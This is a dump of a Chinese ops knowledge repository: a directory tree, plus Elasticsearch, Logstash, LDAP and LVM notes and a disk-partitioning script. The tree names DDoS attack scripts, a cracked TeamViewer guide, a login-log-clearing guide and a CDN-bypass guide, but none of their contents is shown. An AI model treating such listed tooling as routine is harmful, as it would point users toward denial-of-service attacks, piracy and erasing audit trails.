├── ELFK ├── Centos7安装源码安装ELFK_V7.2.0.md ├── ELK日志分析平台架构剖析和常见问题.md ├── Filebeat采集监控组件和系统日志.md ├── README.md ├── elasticsearch │ ├── 0.Elasticsearch原理学习和问题思考.md │ ├── 1.Elasticsearch架构.md │ ├── ElasticSearch 通过nginx做HTTP验证.md │ ├── Filter和Query组合条件查询和聚合统计.md │ ├── Python Elasticsearch api.md │ ├── README.md │ ├── api_example.md │ ├── es查询_search可以看到的数据通过index_type_id却查不到.md │ ├── result_query.md │ ├── result_query_range.md │ ├── result_query_time.md │ └── 搜索引擎系列文档.md ├── yum搭建ELFK日志采集系统.md ├── 如何使Kibana中TimeStamp和日志时间一致.md └── 源码搭建ELFK日志采集系统.md ├── LDAP ├── Centos7 搭建LDAP并启用TLS加密.md └── README.md ├── LICENSE ├── LVM ├── ECS Linux LVM磁盘原地扩容.md ├── README.md ├── mount_lvm.md ├── shell_fdisk.md ├── ubuntu新云盘格式化lvm并挂载.md ├── 从VG中去除PV unknown device.md └── 阿里云云盘扩容.md ├── Mogodb └── README.md ├── Nessus ├── README.md └── 快速端口识别与服务监控.md ├── README.md ├── Rabbitmq ├── Linux 系统安装 Erlang 环境.md ├── Linux 系统安装 RabbitMQ 服务.md ├── Linux 部署 RabbitMQ 集群.md └── 为什么会需要消息队列(MQ).md ├── Tcpdump ├── TCP连接的三次握手--一次故障记录.md ├── tcping 工具总结.md ├── tcp抓包ping.md ├── 利用tcpdump监控tcp连接三次握手和关闭四次握手.md └── 实用tcpdump操作手册.md ├── TeamViewer └── TeamView破解版.md ├── apm └── README.md ├── baidu ├── Linux命令行上传文件到百度网盘.md └── README.md ├── ddos ├── README.md ├── attack.py ├── goldeye.py └── 消耗CPU资源的shell脚本.md ├── frp └── README.md ├── gitlab ├── GitLab-CI与GitLab-Runner.md ├── git clone设置走ss代理.md ├── gitlab_ci │ ├── 1.静态文件类型.md │ ├── 2.go版本编译发布.md │ ├── 3.go版本gitlab发布包.md │ └── README.md ├── git切换分支.md ├── git指定私钥.md ├── git问题汇总.md ├── install_gitlab_docker.md └── 使用之Git回退到某个历史版本.md ├── gmail ├── README.md └── 安卓手机使用google paly.md ├── images ├── ELFK.png ├── GitLab-CI-Runner.png ├── MHA测试架构.png ├── Shared Runner.png ├── Specific Runner.png ├── action-01.png ├── action-02.png ├── action-03.png ├── action-04.png ├── alertmanager-01.png ├── cat.png ├── cgroup.jpg ├── check_boxes.png ├── check_boxes1.png ├── cmdb_api.png ├── consul-01.png ├── consul-02.png ├── consul-03.png ├── consul-04.png ├── consul-05.png ├── consul-06.png ├── consul-51-01.jpg ├── consul-acl-token.png ├── docker-consul-node.jpg ├── ecs_lvm_01.png ├── ecs_lvm_02.png ├── ecs_lvm_03.png ├── ecs_lvm_04.png ├── ecs_lvm_05.png ├── ecs_lvm_06.png ├── elasticsearch.png ├── elasticsearch_dev.png ├── elasticsearch_dis.png ├── elasticsearch_get.png ├── elasticsearch_lucene.png ├── elasticsearch_mapping.png ├── elasticsearch_restfull.png ├── elasticsearch_scripts.png ├── elasticsearch_solr.png ├── elasticsearch_transport.png ├── elasticsearch架构.png ├── es-hot-cold.png ├── filebeat.png ├── git.png ├── git_ci_01.png ├── grafana-consul-01.png ├── grafana-pro-01.png ├── grafana-pro-02.png ├── grafana-pro-new.jpg ├── grafana-pro.png ├── grafana-zabbix-01.png ├── grafana-zabbix-02.png ├── grafana-zabbix-03.png ├── grafana-zabbix-consul-01.png ├── grafana-zabbix-consul-02.png ├── grafana-zabbix-consul-03.png ├── grafana-zabbix-consul-04.png ├── grafana-zabbix-consul-05.png ├── grafana-zabbix-consul-06.png ├── grafna-load-2.jpg ├── grafna-load.jpg ├── image-20211216223301230.png ├── iostat.jpg ├── iotop.jpg ├── jenkins-1.png ├── jenkins-10.png ├── jenkins-2.png ├── jenkins-3.png ├── jenkins-4.png ├── jenkins-5.png ├── jenkins-6.png ├── jenkins-7.png ├── jenkins-8.png ├── jenkins-9.png ├── jenkins-branch-01.png ├── jenkins-branch-02.png ├── jenkins-branch-03.png ├── jenkins-work1.png ├── jenkins-workname.png ├── kafka.png ├── logstash.png ├── mount_error.png ├── mysql-ab.png ├── mysql-slow.png ├── mysql-slow2.png ├── mysql5.6-make.png ├── mysql_elasticsearch.png ├── mysql发展.png ├── nosql.png ├── prometheus.png ├── push-gateway-01.png ├── pushgateway01.png ├── pushgateway02.png ├── python01.png ├── redis-export.jpg ├── relaylog.png ├── securecrt-01.png ├── securecrt-02.png ├── securecrt-03.png ├── securecrt_proxy01.png ├── securecrt_proxy02.png ├── securecrt_proxy03.png ├── securecrt_proxy04.png ├── securecrt_proxy05.png ├── shadowsock-ng1.png ├── shared.png ├── simkai.ttf ├── smtp1.png ├── smtp2.png ├── tcp_wrappers.jpg ├── tcpdump-tcp.jpg ├── tcpdump1.png ├── tcpdump2.png ├── tcpdump3.png ├── tcpdump4.png ├── telegram.png ├── tomcat_dis_01.png ├── virtualbox-network-1.jpg ├── virtualbox-network-2.jpg ├── virtualbox-network-3.jpg ├── virtualbox-network-4.jpg ├── wordpress-01.png ├── zabbix-add-user01.png ├── zabbix-add-user02.png ├── zabbix-add-user03.png ├── zabbix-cap-01.png ├── zabbix-cap-02.png ├── zabbix-cap-03.png ├── zabbix-cap-04.png ├── zabbix-cap-05.png ├── zabbix-cap-06.png ├── zabbix-cap-07.png ├── zabbix-cap-08.png ├── zabbix-disk-01.png ├── zabbix-disk-02.png ├── zabbix-disk-03.png ├── zabbix-disk-04.png ├── zabbix-disk-05.png ├── zabbix-disk-06.png ├── zabbix-disk-07.png ├── zabbix-disk-08.png ├── zabbix-disk-09.png ├── zabbix-disk-byte.png ├── zabbix-group01.png ├── zabbix-group02.png ├── zabbix-media.png ├── zabbix-mem-01.png ├── zabbix-mem-02.png ├── zabbix-mem-03.png ├── zabbix-mem-04.png ├── zabbix-mem-05.png ├── zabbix-mem-06.png ├── zabbix-mem-07.png ├── zabbix-mem-08.png ├── zabbix-mem-09.png ├── zabbix-mem-10.png ├── zabbix-mem-11.png ├── zabbix-monitors-01.png ├── zabbix-monitors-02.png ├── zabbix-problem-reslove.png ├── zabbix-problem01.png ├── zabbix-problem02.png ├── zabbix-triger-action01.png ├── zabbix-triger-action02.png ├── zabbix-triger-action03.png ├── zabbix4.0-10.png ├── zabbix4.0-2.png ├── zabbix4.0-3.png.png ├── zabbix4.0-4.png ├── zabbix4.0-5.png ├── zabbix4.0-6.png ├── zabbix4.0-7.png ├── zabbix4.0-8.png ├── zabbix4.0-9.png ├── zabbix_discovery.png ├── zabbix_trigger_01.png ├── zabbix_trigger_02.png ├── zabbix_trigger_03.png ├── zabbix_trigger_04.png ├── zabbix_trigger_05.png ├── zabbux4.0-1.png ├── 关系型db.png └── 子网掩码对照表.png ├── jenkins ├── 1、jenkins视图操作.md ├── 2、jenkins分支框太小问题解决.md ├── 3、jenkins中quote value和多选框问题.md └── README.md ├── kafka ├── Kafka单机配置部署.md ├── Prometheus+Grafana+kafka_exporter搭建监控系统监控kafka.md ├── README.md ├── jmx_prometheus方式监控kafka的jvm信息和指标.md ├── jmx_prometheus方式监控zk指标.md ├── kafka_dashboard.json ├── zookeeper_dashboard.json └── zookeeper_exporter方式监控zk指标.md ├── linux ├── Asciinema-Linux操作命令录制神器.md ├── Centos7上搭建ftp服务器.md ├── Cgroups控制cpu内存io示例.md ├── Inspection │ ├── Shell脚本监控服务器pts登录情况记录为日志并邮件通知.md │ ├── python实现自动化之路(自动巡检服务器告警).md │ ├── send_mails .py │ ├── telegram通知.md │ ├── 监控服务器ssh登录并发送微信通知.md │ ├── 监控服务器ssh登录并发送报警邮件.md │ ├── 监控服务器ssh登录并发送电报通知.md │ └── 监控服务器ssh登录并发送钉钉通知.md ├── Linux远程强制重启触发器.md ├── MegaCli使用手册.md ├── Nginx网站使用CDN之后禁止用户真实IP访问的方法.md ├── Python多线程批量Ping主机IP的脚本.md ├── README.md ├── SSH配置免密码登录后,仍需要输入密码.md ├── Shell 脚本中 curl 取得HTTP返回的状态码.md ├── TCP连接的状态详解以及故障排查.md ├── control.sh ├── deny_ctrl.sh ├── dns │ ├── README.md │ └── dns生效检测工具.md ├── echo后面输出两个空行问题.md ├── ftp │ └── README.md ├── id_rsa和id_rsa.pub校验.md ├── init_os.sh ├── ipmitool │ └── README.md ├── iptables │ ├── Centos7防火墙.md │ ├── Linux prerouting和postrouting的区别.md │ ├── README.md │ ├── iptables与firewalld对比.md │ ├── iptables原理系列篇.md │ ├── nf_conntrack: table full, dropping packet终结篇.md │ ├── ubuntu防火墙.md │ └── 服务器被黑处理.md ├── java │ ├── CPU 100%,以及Full GC次数过多问题的排查思路.md │ ├── Centos 6_7 安装Jdk.md │ ├── Nginx SSL+tomcat集群,request.getScheme() 取到https正确的协议详解.md │ ├── activemq队列长度监控.md │ ├── python监控异常日志.md │ ├── tomcat8.md │ ├── tomcat日志切割.md │ └── 生产CPU 高负载排查实践.md ├── linux之安装nali本地解析IP归属实现IP详情的日志分析.md ├── notice_telegram ├── pam_verify ├── sed替换文件处理.md ├── shell │ └── README.md ├── shell网站资料.md ├── ssh_login_monitor.go ├── sshd ├── strace手册.md ├── tcp │ ├── QUIC-快速UDP互联网连接.md │ ├── paping测试tcp通信情况.md │ ├── 如何选择长连接和短连接.md │ ├── 服务器tcp连接状态.md │ ├── 用动画给女朋友讲解 TCP 四次分手过程.md │ └── 用动画给面试官解释 TCP 三次握手过程.md ├── tools │ ├── 1.md │ ├── history_conf │ ├── limit │ │ ├── README │ │ ├── restart-rhel-sch-control.service │ │ ├── restart-rhel-sch-control.timer │ │ ├── rhel-sch-control.service │ │ └── tc-speed-limit │ ├── login_profile │ ├── logout_profile │ ├── notice_profile │ ├── notice_profile_gw │ ├── notice_telegram │ ├── tc-speed-limit │ └── ubuntu_history_conf ├── ubuntu │ ├── Ubuntu管理员强行踢出用户的命令.md │ ├── ubuntu_install_supervisor.md │ ├── ubuntu下vim乱码.md │ ├── ubuntu修改密码.md │ ├── ubuntu修改时区.md │ ├── ubuntu初始化.md │ ├── ubuntu安装nginx.md │ ├── ubuntu登录服务器电报通知.md │ └── ubuntu登录服务器钉钉通知.md ├── xargs exec批量结束进程和删除文件方法.md ├── 安全加固 │ ├── Linux下清理删除last登录日志.md │ ├── Linux端口扫描.md │ ├── TCP_Wrappers应用层防火墙限制sshd服务.md │ ├── linux下sshd安全加固.md │ ├── linux服务器登录微信通知.md │ ├── linux服务器登录钉钉通知.md │ ├── linux用户修改密码安全加固.md │ ├── rsyslog │ │ └── README.md │ ├── web安全漏洞扫描工具.md │ ├── 服务器操作记录命令.md │ └── 跳板机安全策略加固.md ├── 局域网p2p点对点传文件.md ├── 常用命令工具集.md ├── 常用工具 │ ├── CPU,IO,Mem压测.md │ ├── Linux修改本机hosts不生效问题.md │ ├── Linux系统中的load average.md │ ├── Linux获取当前内网IP.md │ ├── No space left on device.md │ ├── README.md │ ├── Resource temporarily unavailable问题解决.md │ ├── SecureCRT的logon action登录跳转设置.md │ ├── awk数组求和.md │ ├── dmesg日志中加入时间戳.md │ ├── linux查看磁盘是否SSD磁盘.md │ ├── nc传输文件.md │ ├── rsync同步数据.md │ ├── shell检查域名备案信息脚本.md │ ├── shell脚本检测https证书有效期.md │ ├── sublime-text批量删除空白行.md │ ├── vim快捷键.md │ ├── 免费IP代理池.md │ ├── 日常运维中CPU Load高、IO高、利用率高、内存高处理方案.md │ ├── 日常运维工具合集.md │ ├── 检测Linux虚拟化平台类型的几种方式.md │ ├── 磁盘IO问题分析.md │ └── 程序自动拉起脚本.md ├── 文本处理find_grep.md ├── 服务器IO高问题分析.md ├── 服务器历史命令显示优化.md ├── 系统优化 │ ├── CentOS 7不收集message日志.md │ ├── Centos_initialization.sh │ ├── Linux root占用过大空间的现象.md │ ├── Linux最大文件描述符数.md │ ├── README.md │ ├── SSH免key登陆批量下发.md │ ├── TCP 10倍延迟的真相.md │ ├── centos6_supervisor详细教程.md │ ├── centos7_supervisor详细教程.md │ ├── centos7自定义服务.md │ ├── cronolog-1.6.2.tar.gz │ ├── file-max与ulimit的关系与差别.md │ ├── history_conf │ ├── ssh连接国外机器卡问题优化.md │ ├── sysctl优化配置.md │ ├── 性能测试分析与性能调优诊断--史上最全的服务器性能分析监控调优篇.md │ ├── 换到到其他用户中去执行一个指令或脚本.md │ ├── 物理机万兆网卡多队列均衡和irq.md │ ├── 登录用户出现-bash-4.2的问题解决.md │ └── 磁盘优化思路.md ├── 网络相关 │ ├── 0、Linux静态路由.md │ ├── 10、三线机房服务器策略路由.md │ ├── 11、充分利用带宽,BBR减少TCP连接的延迟.md │ ├── 12、Bps,bps,pps等的计算.md │ ├── 1、mac安装mtr诊断路由.md │ ├── 2、MTR诊断网络问题.md │ ├── 3、traceroute命令.md │ ├── 4、使用iPerf进行网络吞吐量测试.md │ ├── 5、ssh卡在debug1: SSH2_MSG_KEXINIT sent的解决办法.md │ ├── 6、SSH 隧道访问 NAT 后面的Linux服务器.md │ ├── 7、ssh代理访问境外.md │ ├── 8、Linux下网卡的混杂promisc模式浅谈.md │ ├── 9、调整网卡队列,缓解丢包问题.md │ └── README.md ├── 虚拟机初始化.md └── 防止ssh暴力破解登录.md ├── lvs ├── LVS注意事项.md ├── LVS管理工具--ipvsadm.md ├── README.md ├── haproxy │ └── README.md ├── keepalived │ ├── 1、Keepalived集群初搭建.md │ └── README.md └── lvs+keepalived主备高可用架构.md ├── mac ├── Mac下Securecrt安装.md ├── Microsoft Remote Desktop for Mac下载.md ├── README.md ├── mac sshpass安装使用.md └── mac zsh清理历史记录.md ├── micro8 └── README.md ├── minio └── README.md ├── monitor ├── Consul │ ├── README.md │ ├── cmdb_consul_sync.py │ ├── consul-cluster-install.md │ ├── consul-docker-cluster-install.md │ ├── consul-docker-single-install.md │ ├── consul操作示例.md │ └── 服务发现 - consul 的介绍、部署和使用.md ├── Grafana │ ├── 1.grafana展示prometheus数据.md │ ├── 2.grafana展示zabbix跟consul结合数据.md │ ├── README.md │ └── 系统基础指标监控展示看板-1567147375575.json ├── Prometheus │ ├── 0.Prometheus介绍.md │ ├── 1.Prometheus+Node_exporter+Grafana+Alertmanager监控一体化.md │ ├── 2.Prometheus+pushgateway安装.md │ ├── 3.Prometheus+mysql_exporter监控mysql.md │ ├── 4.Prometheus+redis_exporter监控redis.md │ ├── 5.Prometheus+Consul服务自动发现监控.md │ ├── 6.prometheus自定义脚本暴露指标.md │ ├── 7、使用docker镜像快速搭建prometheus+grafana监控告警.md │ ├── Centos6.5 │ │ ├── Centos6.5安装mysql_exporter.md │ │ └── Centos6.5安装node_exporter.md │ ├── Centos7.5 │ │ └── 1.md │ ├── Grafana+Prometheus系统监控之钉钉报警功能.md │ ├── Promethes-HA │ │ └── 1.md │ └── Scripts_install │ │ ├── README.md │ │ ├── all_os_install_node_export.sh │ │ ├── node_exporter.service.sh │ │ └── node_exporter.sh └── zabbix │ ├── Capacity_Manage │ ├── README.md │ ├── Template_Disk_Capacity.md │ ├── Template_Mem_Capacity.md │ └── Template_vCpu_Capacity.md │ ├── README.md │ ├── ubuntu │ └── README.md │ ├── v4.0 │ ├── monitor_component │ │ ├── monitor_activemq │ │ │ └── zabbix监控activemq队列.md │ │ ├── monitor_disk │ │ │ └── zabbix自动发现并监控磁盘iops.md │ │ ├── monitor_log │ │ │ ├── python监控应用异常日志.md │ │ │ └── zabbix监控日志多关键字.md │ │ ├── monitor_mysql │ │ │ ├── check_mysql.sh │ │ │ └── zbx4.0_mysql_templates.xml │ │ ├── monitor_nginx │ │ │ └── zabbix监控nginx.md │ │ ├── monitor_redis │ │ │ └── README.md │ │ ├── monitor_system │ │ │ ├── Zabbix trapper方式监控进程是否被重启.md │ │ │ ├── monitoring_cus_connections.md │ │ │ ├── monitoring_start_time.md │ │ │ ├── zabbix监控定时任务.md │ │ │ ├── zabbix监控文件是否被篡改.md │ │ │ └── zabbix监控防火墙运行状态.md │ │ └── monitor_tomcat │ │ │ └── zabbix自动发现并监控tomcat.md │ ├── README.md │ ├── Zabbix_Agent_Install.sh │ ├── actions │ │ ├── zabbix_trigger配置.md │ │ └── zabbix自动注册.md │ ├── add_user_group_user.md │ ├── alert_scripts │ │ ├── zabbix_alert_dingding.md │ │ ├── zabbix_alert_email.md │ │ ├── zabbix_alert_telegram.sh │ │ └── zabbix_alert_webchat.md │ ├── docker部署zabbix.md │ ├── source_package_install │ │ ├── README.md │ │ ├── install_zabbix_agent_v4.0.sh │ │ ├── install_zabbix_proxy_v4.0.sh │ │ └── install_zabbix_server_v4.0.sh │ ├── yum_package_install │ │ └── zabbix_v4.0一键编译安装脚本.md │ ├── zabbbix4.0_proxy代理编译安装.md │ ├── zabbix_api │ │ └── README.md │ └── zabbix_api测试.md │ ├── zabbix_agentd_install.md │ ├── zabbix_agnet批量下发.md │ ├── zabbix自动发现指标的正则过滤.md │ ├── 在zabbix中实现发送带有图片的邮件和微信告警.md │ └── 查询代理机器列表.md ├── mysql ├── DDL │ ├── README.md │ └── mysql清理数据释放空间.md ├── MySQL在线DDL gh-ost 使用说明.md ├── MySQL语句和命令大全.md ├── Mysql自定义函数报错解决方法.md ├── README.md ├── framework │ ├── MYSQL企业常用架构与调优经验分享.md │ ├── MySQL 5.6, 5.7, 8.0的新特性.md │ ├── MySQL-ProxySQL中间件.md │ ├── Mysql-MHA.md │ ├── mysql主从架构.md │ ├── 专业的MySQL开发规范.md │ ├── 找到MySQL服务器发生SWAP罪魁祸首.md │ └── 比较全面的MySQL优化参考(上篇).md ├── install │ ├── mysql5.6 │ │ ├── centos6-one-install.md │ │ ├── centos7-make-install.md │ │ └── centos7-one-install.md │ └── mysql5.7 │ │ └── Yum方式安装MySQL5.7.md ├── mysql_binlog清理.md ├── mysql_relaylog清理.md ├── mysql使用存储过程压测.md ├── mysql修改字符集-utf8.md ├── mysql大量的waiting for table level lock怎么办.md ├── mysql导出数据保存csv.md ├── mysql查询表空间大小.md ├── scripts │ ├── backdb.sh │ └── check_mysql.py ├── tools │ ├── 1、mysql跳过主从错误.md │ ├── 2、percona工具修复主从和数据一致性.md │ ├── 3、mysql查看死锁和解除锁.md │ ├── 4、如何基于Canal和Kafka,实现 MySQL 的 Binlog 近实时同步.md │ └── README.md ├── xtrabackup │ ├── README.md │ ├── innobackupex主从数据失败修复.md │ └── innobackupex备份数据设置主从.md ├── 性能优化 │ ├── MySQL5.7下排查内存泄露和OOM问题全过程.md │ ├── MySQL优化.md │ ├── mysql慢日志查询.md │ └── 脏页数据刷新很慢优化IO.md └── 用pigz代替gzip.md ├── nfs ├── README.md └── install_nfs.md ├── nginx ├── Nginx配置禁止IP直接HTTP、HTTPS访问.md ├── README.md ├── attack.py ├── conf │ ├── nginx.conf │ ├── proxy_store_off.conf │ └── vhosts │ │ └── quant.test.com.conf ├── deny_ctrl.sh ├── documents │ ├── nginx日志分析样例.md │ ├── nginx日志切割.md │ ├── nginx预防常见攻击.md │ ├── 从HTTP响应头看各家CDN缓存技术.md │ └── 压测指标概念.md ├── init.d │ ├── nginx │ └── nginx.service ├── install │ ├── Centos6_7_make_install.md │ └── Centos7.6_rpm_install_nginx.md ├── nginx做文件下载服务器.md ├── nginx报错upstream response is buffered to a temporary file.md ├── nginx转发websocket报400错误.md ├── nginx配置ssl并http重定向到https.md ├── 查看nginx进程的资源限制情况.md ├── 校验ssl证书和私钥是否匹配.md └── 绕过CDN查找网站真实IP.md ├── node ├── README.md ├── install-vue-cli.md └── node GLIBCXX_3.4.14 not found required by node.md ├── python ├── Python生成pyc文件.md ├── README.md ├── alter.py ├── install_python3.6.md ├── install_python3.7.md ├── pip.md ├── pythony依赖包版本冲突的问题.md ├── python一键安装脚本.md ├── python源代码文件加密.md ├── scripts │ ├── Python多线程批量Ping主机IP的脚本.md │ ├── notices.py │ ├── python多线程远程执行命令.md │ ├── python接口使用样例.md │ └── 进阶遍历取值和lambda.md └── zssh │ ├── one_jump.py │ ├── python跳板机.md │ ├── zproxy.sh │ └── zssh.py ├── redis ├── README.md ├── Redis-Migrate-Tool.md ├── Redis常用指令.md ├── Redis的内存碎片比过高的解决.md ├── conf │ └── redis.conf ├── init.d │ ├── redis_nopass │ └── redis_pass ├── install │ ├── Redis_Sentinel配置.md │ ├── centos6-make-install.md │ ├── centos6-yum-install.md │ ├── centos7-make-install.md │ ├── centos7-yum-install.md │ └── redis_cluster.md ├── redis-migrate-tool │ ├── README.md │ └── redis迁移工具redis-migrate-tool测试.md ├── redis同步限制问题.md └── 分布式锁原理.md ├── shadowsocks ├── Centos客户端翻墙.md ├── Mac命令行终端下使用shadowsocks翻墙.md ├── README.md ├── SSH通过Socket5代理连接服务器.md ├── SSH通过ssh -W代理连接服务器.md ├── SecureCRT设置代理连接vpc内网.md ├── V2Ray搭建图文教程.md ├── gotun2socks智能分流和代理ssh.md └── 一键搭建电报专属代理MTPrpxy.md ├── vpn ├── README.md ├── openvpn一键安装脚本.md ├── openvpn路由模式.md ├── trojan-go.sh └── 实用GeoIP2数据库.md ├── webbench ├── README.md └── Siege压测.md ├── yum ├── README.md └── yum.md ├── zookeeper ├── CentOS7安装zookeeper.md ├── README.md ├── Zookeeper单机器docker伪集群.md ├── Zookeeper多机器docker集群.md └── Zookeeper集群部署.md ├── 生成 GitHub README.md └── 面试技巧 ├── RPC服务和HTTP服务对比.md └── 架构.md /ELFK/README.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://www.cnblogs.com/weavepub/p/11045025.html Elasticsearch 7.1.1 集群 + 配置身份验证 4 | 5 | https://juejin.im/post/5d80e994e51d4561de20b6a5 Elasticsearch节点,集群,分片及副本 6 | 7 | https://blog.csdn.net/ypc123ypc/article/details/69944805 Elasticsearch Data too large Error排查过程 8 | 9 | ``` 10 | PUT _cluster/settings 11 | { 12 | "persistent" : { 13 | "indices.breaker.fielddata.limit" : "20%" 14 | } 15 | } 16 | ``` 17 | -------------------------------------------------------------------------------- /ELFK/elasticsearch/ElasticSearch 通过nginx做HTTP验证.md: -------------------------------------------------------------------------------- 1 | https://www.cnblogs.com/phpshen/p/8600582.html ElasticSearch 通过nginx做HTTP验证 2 | -------------------------------------------------------------------------------- /ELFK/elasticsearch/Python Elasticsearch api.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | 参考文档: 4 | 5 | https://www.cnblogs.com/xiao987334176/p/10130712.html 6 | -------------------------------------------------------------------------------- /ELFK/elasticsearch/es查询_search可以看到的数据通过index_type_id却查不到.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://elasticsearch.cn/question/4792 es 查询:_search 可以看到的数据 通过 index/type/id 却查不到 4 | -------------------------------------------------------------------------------- /ELFK/elasticsearch/result_query_time.md: -------------------------------------------------------------------------------- 1 | # 传入索引和关键参数查询 2 | ``` 3 | #!/usr/bin/env python 4 | # _*_ coding:utf-8 _*_ 5 | 6 | from datetime import datetime 7 | from elasticsearch import Elasticsearch 8 | import json 9 | import sys 10 | 11 | es = Elasticsearch([{'host':'120.33.88.31','port':9200,}],timeout=60) 12 | 13 | index = sys.argv[1] 14 | key1 = sys.argv[2] 15 | key2 = sys.argv[3] 16 | now = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 17 | print now 18 | 19 | #范围匹配所需字段查询 20 | args = { 21 | "size": 10000, 22 | "query": { 23 | "bool": { 24 | "must": [ 25 | { "match": { "cpod.state": key1 }}, 26 | { "match": { "cpod.code": key2 }} 27 | ], 28 | "filter": [ 29 | { "range": { "time": { "lte": "now" }}} 30 | ] 31 | } 32 | }, 33 | "sort" : [{ "time" : { "order" : "asc"}}] 34 | } 35 | 36 | print args 37 | resp = es.search(index, body=args) 38 | resp_docs = resp['hits']['hits'] 39 | 40 | for item in resp_docs: 41 | print(item) 42 | ``` 43 | 44 | # 操作示例 45 | ``` 46 | [root@test ~]# python res_new.py agent-statistics-2019.01.09 200 10306 47 | ``` 48 | -------------------------------------------------------------------------------- /ELFK/elasticsearch/搜索引擎系列文档.md: -------------------------------------------------------------------------------- 1 | ## 一、elasticsearch系列一 2 | 3 | elasticsearch(ES简介、安装&配置、集成Ikanalyzer) 4 | 5 | https://www.cnblogs.com/leeSmall/p/9189078.html 6 | 7 | ## 二、elasticsearch系列二 8 | 9 | 索引详解(快速入门、索引管理、映射详解、索引别名) 10 | 11 | https://www.cnblogs.com/leeSmall/p/9193476.html 12 | 13 | ## 三、elasticsearch系列三 14 | 15 | 索引详解(分词器、文档管理、路由详解(集群)) 16 | 17 | https://www.cnblogs.com/leeSmall/p/9195782.html 18 | 19 | ## 四、 elasticsearch系列四: 20 | 21 | 搜索详解(搜索API、Query DSL) 22 | 23 | https://www.cnblogs.com/leeSmall/p/9206641.html 24 | 25 | ## 五、 elasticsearch系列五 26 | 27 | 搜索详解(查询建议介绍、Suggester 介绍) 28 | 29 | https://www.cnblogs.com/leeSmall/p/9206646.html 30 | 31 | ## 六、 elasticsearch系列六 32 | 33 | 聚合分析(聚合分析简介、指标聚合、桶聚合) 34 | 35 | https://www.cnblogs.com/leeSmall/p/9215909.html 36 | 37 | ## 七、 elasticsearch系列七 38 | 39 | ES Java客户端-Elasticsearch Java client(ES Client 简介、Java REST Client、Java Client、Spring Data Elasticsearch) 40 | 41 | https://www.cnblogs.com/leeSmall/p/9218779.html 42 | 43 | ## 八、 elasticsearch系列八 44 | 45 | ES 集群管理(集群规划、集群搭建、集群管理) 46 | 47 | https://www.cnblogs.com/leeSmall/p/9195782.html 48 | 49 | 50 | 参考文档: 51 | 52 | https://www.cnblogs.com/leeSmall/category/1210814.html 53 | -------------------------------------------------------------------------------- /ELFK/如何使Kibana中TimeStamp和日志时间一致.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | filter { 3 | ###替换@timestamp时间为日志真实时间###### 4 | grok { 5 | match => { "message" => "(?%{TIMESTAMP_ISO8601})" } 6 | } 7 | date { 8 | match => [ "timestamp", "ISO8601" ] 9 | } 10 | mutate { 11 | remove_field => [ "timestamp" ] 12 | } 13 | } 14 | 15 | 只需要在logstash中增加一个filter,提取日志中的时间,并替换@timestamp,重启logstash就可以轻松解决。如果不需要timestamp field,可以remove。 16 | ``` 17 | 参考资料: 18 | 19 | https://mp.weixin.qq.com/s/LQtrWcPwxl4Py3ZaTWg-gQ 如何使Kibana中TimeStamp和日志时间一致' 20 | 21 | https://mp.weixin.qq.com/s/I4Jj2-UN_aF-iX_vc1fiCg 运维神器 -- ELK 22 | -------------------------------------------------------------------------------- /LDAP/README.md: -------------------------------------------------------------------------------- 1 | LDAP落地实战(一):OpenLDAP部署及管理维护: 2 | https://mp.weixin.qq.com/s/JyH5mqwWFt0N1nGYZqBCBQ 3 | 4 | LDAP落地实战(二):SVN集成OpenLDAP认证: 5 | https://mp.weixin.qq.com/s/NZv9UZ-eYJT86uaxHapgTw 6 | 7 | LDAP落地实战(三):GitLab集成OpenLDAP认证: 8 | https://mp.weixin.qq.com/s/yDUHS0HdzZclvbjDH9pdbQ 9 | 10 | LDAP落地实战(四):Jenkins集成OpenLDAP认证: 11 | https://mp.weixin.qq.com/s/S5ozDJSh4yTSfP_glNoiOQ 12 | 13 | LDAP落地实战(五):Django集成OpenLDAP认证: 14 | https://mp.weixin.qq.com/s/ZNLufJq67RDCt5aICmTmyg 15 | 16 | http://blog.leanote.com/post/benmo/e98d072f2b28 OpenLDAP 初识 17 | -------------------------------------------------------------------------------- /LVM/README.md: -------------------------------------------------------------------------------- 1 | 2 | # 参考资料: 3 | 4 | https://help.aliyun.com/knowledge_detail/38061.html?spm=5176.11065259.1996646101.searchclickresult.551521e8mN9JMW&aly_as=7_tCZbP- ECS Linux LVM磁盘原地扩容 5 | 6 | 7 | https://yq.aliyun.com/articles/52222?spm=5176.11065265.1996646101.searchclickresult.1546247dUlgfe4 8 | 9 | 10 | https://www.cnblogs.com/zhenglisai/p/6638107.html 新添加一块硬盘制作LVM卷并进行分区挂载 11 | 12 | 13 | https://blog.csdn.net/qq_24871519/article/details/86243571 记一次centos7 下根目录扩容操作 14 | 15 | 16 | https://help.aliyun.com/knowledge_detail/38061.html ECS Linux LVM磁盘原地扩容 17 | 18 | 19 | https://blog.csdn.net/scun_cg/article/details/82423611 阿里云centos7服务器LVM扩容实战(可行) 20 | 21 | 22 | fdisk -l /dev/xvdb此时有2个分区,分别是/dev/xvdb1和/dev/xvdb2 23 | 24 | 25 | 将新增的分区加入到卷组中,vgdisplay可以看到Free PE有多出来 26 | vgextend vg_group /dev/vdb2 先扩容VG 27 | 28 | 29 | lvextend -L +100G /dev/vg_group/vg_data lvextend扩展逻辑卷的空间大小 30 | 31 | 32 | xfs_growfs /dev/vg_group/vg_data 33 | -------------------------------------------------------------------------------- /LVM/shell_fdisk.md: -------------------------------------------------------------------------------- 1 | ``` 2 | cat > /tmp/disk.sh << \EOF 3 | #!/bin/bash 4 | echo "n 5 | p 6 | 1 7 | 8 | 9 | w 10 | " | fdisk /dev/vdb && mkfs.ext4 /dev/vdb1 11 | echo "/dev/vdb1 /data ext4 defaults 0 0" >> /etc/fstab 12 | mkdir /data 13 | mount /dev/vdb1 /data 14 | df -h 15 | EOF 16 | 17 | chmod +x /tmp/disk.sh && sh /tmp/disk.sh 18 | 19 | ln -s /data /data0 20 | ``` 21 | 22 | 参考文档 23 | 24 | https://jaminzhang.github.io/shell/Automated-Disk-Partion-Via-Shell-Script/ Shell 脚本自动化分区 25 | -------------------------------------------------------------------------------- /LVM/ubuntu新云盘格式化lvm并挂载.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | yum install -y lvm2 3 | fdisk -l 4 | fdisk /dev/vdb 5 | 6 | [root@app-server005 ~]# fdisk /dev/vdb 7 | Welcome to fdisk 